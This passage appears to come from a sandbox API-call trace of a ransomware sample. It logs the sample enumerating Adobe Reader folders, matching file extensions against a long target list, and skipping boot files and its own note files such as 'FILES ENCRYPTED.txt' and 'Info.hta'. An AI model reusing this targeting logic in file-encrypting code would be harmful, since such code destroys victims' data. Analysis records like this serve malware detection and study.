ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33156f0 [0267.564] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.564] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2012, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0267.564] lstrlenW (lpString="ui-strings.js") returned 13 [0267.564] lstrlenW (lpString=".1cd") returned 4 [0267.564] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0267.564] lstrlenW (lpString=".3ds") returned 4 [0267.564] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0267.565] lstrlenW (lpString=".3fr") returned 4 [0267.565] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0267.565] lstrlenW (lpString=".3g2") returned 4 [0267.565] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0267.565] lstrlenW (lpString=".3gp") returned 4 [0267.565] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0267.565] lstrlenW (lpString=".7z") returned 3 [0267.565] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0267.565] lstrlenW (lpString=".accda") returned 6 [0267.565] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0267.565] lstrlenW (lpString=".accdb") returned 6 [0267.565] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0267.565] lstrlenW (lpString=".accdc") returned 6 [0267.565] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0267.565] lstrlenW (lpString=".accde") returned 6 [0267.565] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0267.565] lstrlenW (lpString=".accdt") returned 6 [0267.565] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0267.565] lstrlenW (lpString=".accdw") returned 6 [0267.565] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0267.565] lstrlenW (lpString=".adb") returned 4 [0267.565] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0267.565] lstrlenW (lpString=".adp") returned 4 [0267.565] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0267.566] lstrlenW (lpString=".ai") returned 3 [0267.566] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0267.566] lstrlenW (lpString=".ai3") returned 4 [0267.566] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0267.566] lstrlenW (lpString=".ai4") returned 4 [0267.566] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0267.566] lstrlenW (lpString=".ai5") returned 4 [0267.566] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0267.566] lstrlenW (lpString=".ai6") returned 4 [0267.566] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0267.566] lstrlenW (lpString=".ai7") returned 4 [0267.566] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0267.566] lstrlenW (lpString=".ai8") returned 4 [0267.566] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0267.566] lstrlenW (lpString=".anim") returned 5 [0267.566] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0267.566] lstrlenW (lpString=".arw") returned 4 [0267.566] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0267.566] lstrlenW (lpString=".as") returned 3 [0267.566] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0267.566] lstrlenW (lpString=".asa") returned 4 [0267.566] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0267.566] lstrlenW (lpString=".asc") returned 4 [0267.567] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0267.567] lstrlenW (lpString=".ascx") returned 5 [0267.567] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0267.567] lstrlenW (lpString=".asm") returned 4 [0267.567] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0267.567] lstrlenW (lpString=".asmx") returned 5 [0267.567] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0267.567] lstrlenW (lpString=".asp") returned 4 [0267.567] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0267.567] lstrlenW (lpString=".aspx") returned 5 [0267.567] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0267.567] lstrlenW (lpString=".asr") returned 4 [0267.567] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0267.567] lstrlenW (lpString=".asx") returned 4 [0267.567] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0267.567] lstrlenW (lpString=".avi") returned 4 [0267.567] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0267.567] lstrlenW (lpString=".avs") returned 4 [0267.567] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0267.567] lstrlenW (lpString=".backup") returned 7 [0267.568] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0267.568] lstrlenW (lpString=".bak") returned 4 [0267.568] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0267.568] lstrlenW (lpString=".bay") returned 4 [0267.568] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0267.568] lstrlenW (lpString=".bd") returned 3 [0267.568] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0267.568] lstrlenW (lpString=".bin") returned 4 [0267.568] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0267.568] lstrlenW (lpString=".bmp") returned 4 [0267.568] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0267.568] lstrlenW (lpString=".bz2") returned 4 [0267.568] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0267.568] lstrlenW (lpString=".c") returned 2 [0267.568] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0267.568] lstrlenW (lpString=".cdr") returned 4 [0267.568] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0267.568] lstrlenW (lpString=".cer") returned 4 [0267.568] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0267.568] lstrlenW (lpString=".cf") returned 3 [0267.568] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0267.568] lstrlenW (lpString=".cfc") returned 4 [0267.568] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0267.568] lstrlenW (lpString=".cfm") returned 4 [0267.568] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0267.568] lstrlenW (lpString=".cfml") returned 5 [0267.568] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0267.569] lstrlenW (lpString=".cfu") returned 4 [0267.569] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0267.569] lstrlenW (lpString=".chm") returned 4 [0267.569] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0267.569] lstrlenW (lpString=".cin") returned 4 [0267.569] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0267.569] lstrlenW (lpString=".class") returned 6 [0267.569] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0267.569] lstrlenW (lpString=".clx") returned 4 [0267.569] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0267.569] lstrlenW (lpString=".config") returned 7 [0267.569] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0267.569] lstrlenW (lpString=".cpp") returned 4 [0267.569] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0267.569] lstrlenW (lpString=".cr2") returned 4 [0267.569] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0267.569] lstrlenW (lpString=".crt") returned 4 [0267.569] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0267.569] lstrlenW (lpString=".crw") returned 4 [0267.569] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0267.569] lstrlenW (lpString=".cs") returned 3 [0267.570] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0267.570] lstrlenW (lpString=".css") returned 4 [0267.570] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0267.570] lstrlenW (lpString=".csv") returned 4 [0267.570] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0267.980] lstrlenW (lpString=".cub") returned 4 [0267.980] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0267.980] lstrlenW (lpString=".dae") returned 4 [0267.980] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0267.980] lstrlenW (lpString=".dat") returned 4 [0267.980] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0267.980] lstrlenW (lpString=".db") returned 3 [0267.980] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0267.980] lstrlenW (lpString=".dbf") returned 4 [0267.980] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0267.980] lstrlenW (lpString=".dbx") returned 4 [0267.980] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0267.981] lstrlenW (lpString=".dc3") returned 4 [0267.981] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0267.981] lstrlenW (lpString=".dcm") returned 4 [0267.981] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0267.981] lstrlenW (lpString=".dcr") returned 4 [0267.981] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0267.981] lstrlenW (lpString=".der") returned 4 [0267.981] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0267.981] lstrlenW (lpString=".dib") returned 4 [0267.981] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0267.981] lstrlenW (lpString=".dic") returned 4 [0267.981] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0267.981] lstrlenW (lpString=".dif") returned 4 [0267.981] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0267.981] lstrlenW (lpString=".divx") returned 5 [0267.981] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0267.981] lstrlenW (lpString=".djvu") returned 5 [0267.981] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0267.981] lstrlenW (lpString=".dng") returned 4 [0267.981] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0267.982] lstrlenW (lpString=".doc") returned 4 [0267.982] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0267.982] lstrlenW (lpString=".docm") returned 5 [0267.982] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0267.982] lstrlenW (lpString=".docx") returned 5 [0267.982] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0267.982] lstrlenW (lpString=".dot") returned 4 [0267.982] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0267.983] lstrlenW (lpString=".dotm") returned 5 [0267.983] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0267.983] lstrlenW (lpString=".dotx") returned 5 [0267.983] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0267.983] lstrlenW (lpString=".dpx") returned 4 [0267.983] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0267.983] lstrlenW (lpString=".dqy") returned 4 [0267.983] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0267.983] lstrlenW (lpString=".dsn") returned 4 [0267.983] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0267.983] lstrlenW (lpString=".dt") returned 3 [0267.984] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0267.984] lstrlenW (lpString=".dtd") returned 4 [0267.984] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0267.984] lstrlenW (lpString=".dwg") returned 4 [0267.984] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0267.984] lstrlenW (lpString=".dwt") returned 4 [0267.984] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0267.984] lstrlenW (lpString=".dx") returned 3 [0267.984] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0267.984] lstrlenW (lpString=".dxf") returned 4 [0267.984] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0267.984] lstrlenW (lpString=".edml") returned 5 [0267.984] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0267.984] lstrlenW (lpString=".efd") returned 4 [0267.984] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0267.985] lstrlenW (lpString=".elf") returned 4 [0267.985] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0267.985] lstrlenW (lpString=".emf") returned 4 [0267.985] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0267.985] lstrlenW (lpString=".emz") returned 4 [0267.985] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0267.985] lstrlenW (lpString=".epf") returned 4 [0267.985] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0267.985] lstrlenW (lpString=".eps") returned 4 [0267.985] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0267.985] lstrlenW (lpString=".epsf") returned 5 [0267.985] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0267.985] lstrlenW (lpString=".epsp") returned 5 [0267.985] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0267.985] lstrlenW (lpString=".erf") returned 4 [0267.985] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0267.985] lstrlenW (lpString=".exr") returned 4 [0267.985] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0267.986] lstrlenW (lpString=".f4v") returned 4 [0267.986] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0267.986] lstrlenW (lpString=".fido") returned 5 [0267.986] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0267.986] lstrlenW (lpString=".flm") returned 4 [0267.986] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0267.986] lstrlenW (lpString=".flv") returned 4 [0267.986] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0267.986] lstrlenW (lpString=".frm") returned 4 [0267.986] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0267.986] lstrlenW (lpString=".fxg") returned 4 [0267.986] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0267.986] lstrlenW (lpString=".geo") returned 4 [0267.986] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0267.986] lstrlenW (lpString=".gif") returned 4 [0267.986] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0267.987] lstrlenW (lpString=".grs") returned 4 [0267.987] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0267.987] lstrlenW (lpString=".gz") returned 3 [0267.987] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0267.987] lstrlenW (lpString=".h") returned 2 [0267.987] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0267.987] lstrlenW (lpString=".hdr") returned 4 [0267.987] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0267.987] lstrlenW (lpString=".hpp") returned 4 [0267.987] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0267.987] lstrlenW (lpString=".hta") returned 4 [0267.987] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0267.987] lstrlenW (lpString=".htc") returned 4 [0267.987] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0267.987] lstrlenW (lpString=".htm") returned 4 [0267.987] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0267.988] lstrlenW (lpString=".html") returned 5 [0267.988] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0267.988] lstrlenW (lpString=".icb") returned 4 [0267.988] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0267.988] lstrlenW (lpString=".ics") returned 4 [0267.988] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0267.988] lstrlenW (lpString=".iff") returned 4 [0267.988] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0267.988] lstrlenW (lpString=".inc") returned 4 [0267.988] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0267.989] lstrlenW (lpString=".indd") returned 5 [0267.989] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0267.990] lstrlenW (lpString=".ini") returned 4 [0267.990] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0267.990] lstrlenW (lpString=".iqy") returned 4 [0267.990] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0267.990] lstrlenW (lpString=".j2c") returned 4 [0267.990] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0267.990] lstrlenW (lpString=".j2k") returned 4 [0267.990] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0267.990] lstrlenW (lpString=".java") returned 5 [0267.990] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0267.990] lstrlenW (lpString=".jp2") returned 4 [0267.990] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0267.990] lstrlenW (lpString=".jpc") returned 4 [0267.990] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0267.990] lstrlenW (lpString=".jpe") returned 4 [0267.990] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0267.991] lstrlenW (lpString=".jpeg") returned 5 [0267.991] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0267.991] lstrlenW (lpString=".jpf") returned 4 [0267.991] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0267.991] lstrlenW (lpString=".jpg") returned 4 [0267.991] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0267.991] lstrlenW (lpString=".jpx") returned 4 [0267.991] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0267.991] lstrlenW (lpString=".js") returned 3 [0267.991] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0267.991] lstrlenW (lpString="ui-strings.js") returned 13 [0267.991] lstrlenW (lpString=".love$") returned 6 [0267.991] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0267.991] lstrlenW (lpString="ui-strings.js") returned 13 [0267.991] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0267.991] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0267.992] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0267.992] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0267.992] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0267.992] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0267.992] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0268.006] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0268.007] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ro-ro\\ui-strings.js") returned 120 [0268.007] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2012, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0268.007] FindClose (in: hFindFile=0x33156f0 | out: hFindFile=0x33156f0) returned 1 [0268.007] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0268.007] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="root", cAlternateFileName="")) returned 1 [0268.007] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\root") returned 105 [0268.008] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\root") returned 1 [0268.008] lstrlenW (lpString="root") returned 4 [0268.008] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="root") returned -1 [0268.008] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0268.008] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\root") returned 105 [0268.008] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\root\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315870 [0268.868] FindNextFileW (in: hFindFile=0x3315870, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.888] FindNextFileW (in: hFindFile=0x3315870, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0268.888] lstrlenW (lpString="ui-strings.js") returned 13 [0268.888] lstrlenW (lpString=".1cd") returned 4 [0268.888] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0268.888] lstrlenW (lpString=".3ds") returned 4 [0268.888] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0268.888] lstrlenW (lpString=".3fr") returned 4 [0268.888] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0268.888] lstrlenW (lpString=".3g2") returned 4 [0268.888] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0268.888] lstrlenW (lpString=".3gp") returned 4 [0268.889] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0268.889] lstrlenW (lpString=".7z") returned 3 [0268.889] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0268.889] lstrlenW (lpString=".accda") returned 6 [0268.889] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0268.889] lstrlenW (lpString=".accdb") returned 6 [0268.889] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0268.889] lstrlenW (lpString=".accdc") returned 6 [0268.889] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0268.889] lstrlenW (lpString=".accde") returned 6 [0268.889] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0268.889] lstrlenW (lpString=".accdt") returned 6 [0268.889] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0268.889] lstrlenW (lpString=".accdw") returned 6 [0268.889] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0268.889] lstrlenW (lpString=".adb") returned 4 [0268.889] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0268.889] lstrlenW (lpString=".adp") returned 4 [0268.889] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0268.890] lstrlenW (lpString=".ai") returned 3 [0268.890] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0268.890] lstrlenW (lpString=".ai3") returned 4 [0268.890] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0268.890] lstrlenW (lpString=".ai4") returned 4 [0268.890] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0268.890] lstrlenW (lpString=".ai5") returned 4 [0268.890] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0268.890] lstrlenW (lpString=".ai6") returned 4 [0268.890] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0268.890] lstrlenW (lpString=".ai7") returned 4 [0268.890] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0268.890] lstrlenW (lpString=".ai8") returned 4 [0268.890] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0268.890] lstrlenW (lpString=".anim") returned 5 [0268.890] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0268.890] lstrlenW (lpString=".arw") returned 4 [0268.890] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0268.890] lstrlenW (lpString=".as") returned 3 [0268.891] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0268.891] lstrlenW (lpString=".asa") returned 4 [0268.891] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0268.891] lstrlenW (lpString=".asc") returned 4 [0268.891] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0268.891] lstrlenW (lpString=".ascx") returned 5 [0268.891] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0268.891] lstrlenW (lpString=".asm") returned 4 [0268.891] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0268.891] lstrlenW (lpString=".asmx") returned 5 [0268.891] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0268.891] lstrlenW (lpString=".asp") returned 4 [0268.891] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0268.891] lstrlenW (lpString=".aspx") returned 5 [0268.892] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0268.892] lstrlenW (lpString=".asr") returned 4 [0268.892] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0268.892] lstrlenW (lpString=".asx") returned 4 [0268.892] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0268.892] lstrlenW (lpString=".avi") returned 4 [0268.892] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0268.892] lstrlenW (lpString=".avs") returned 4 [0268.892] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0268.892] 